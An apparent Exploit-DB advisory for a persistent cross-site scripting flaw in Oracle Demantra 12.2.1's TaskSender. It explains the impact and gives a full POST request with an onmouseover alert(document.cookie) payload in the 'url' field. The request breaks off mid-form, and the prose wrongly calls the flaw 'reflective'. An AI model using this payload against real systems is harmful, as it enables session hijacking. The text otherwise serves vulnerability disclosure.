Exploit-DB #31994
Description: Oracle Demantra 12.2.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2014-03-01
Author: Portcullis

Exploit:
Details:

The TaskSender area is vulnerable to a stored cross-site scripting vulnerability.
Impact:

An attacker could exploit this flaw to get active HTML or script code executed in an authenticated user’s browser. Cross-site Scripting may be used to perform attacks such as session hijacking by invoking the user’s browser to send information stored in their cookies (such as a session identification token) to an arbitrary location controlled by the attacker. Furnished with this information the attacker could immediately access the site, masquerading as the authenticated user who viewed the page containing the malicious code. The attacker would then be able to perform actions as the authorised user, subject to their role, which could include viewing sensitive data, modifying profile information and making transactions.

This vulnerability could also be leveraged in a “phishing” attack, whereby the attacker adds additional HTML code to create a false login page within the vulnerable page, which posts the data to a server controlled by the attacker. The attacker could then redirect the user back to the original server, thus giving the illusion that the login was secure and genuine. This could also be achieved by redirecting the user to a false login page on the attacker’s server rather than adding the code to a page that already exists. This is critical, because if the attacker could host a “phishing” website in a domain with a valid SSL certificate, there would be no way for a user to spot the attack.

A variation of the “phishing” attack described above would be to inject code to completely rewrite the genuine page, defacing the site and possibly having a detrimental impact on the reputation of the company.

Finally, an attacker could use Cross-site Scripting to exploit vulnerabilities within web browsers. The outcome of such an attack would depend on the exploits used, but in a worst case scenario the attacker could gain full control of a user’s computer. Once that had been achieved it would be trivial for the attacker to install a keystroke logger and gain access to applications via the usernames and passwords they had acquired.

In the case of the current web application, the Cross-site Scripting was “reflective”, meaning that a user would need to follow a specially crafted link for the attack to be successful.
Exploit:

Request:

POST /demantra/TaskSender HTTP/1.1
Host: www.target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.target.com:8080/demantra/portal/taskSender.jsp?tkn=[PII_REDACTED]4305
Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=201BE9D6A85EA3E4BC837A4F01B9781F
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Length: 3093

----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="selectedUsersVector"

389
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="selectedUserList"

389;
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="message"

asdasda
---------[PII_REDACTED][PII_REDACTED]291
Content-Disposition: form-data; name="description"

asdasdasdas
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="url"

aaa"onmouseover="alert(document.cookie)
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="sendEmail"

1
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="hidden_dueTime"

08/02/2013
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="hidden_alertTime"

08/02/2013
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="hidden_dueTimeHours"

14:30
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="hidden_alertTimeHours"

08:30
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="hidden_escalateUserList"


----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="combination"


----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="dueTime"

08/02/2013
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="alertTime"

08/02/2013
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="tkn"
[PII_REDACTED]14305
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="attachment"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="localizedDueTime"

08/02/2013
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="dueTimeHours"

14:30
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="localizedAlertTime"

08/02/2013
--------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="alertTimeHours"

08:30
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="escalateUserList"


----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="sendEmailCheckbox"

on
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data; name="x"

50
----------------------------[PII_REDACTED][PII_REDACTED]578362291
Content-Disposition: form-data;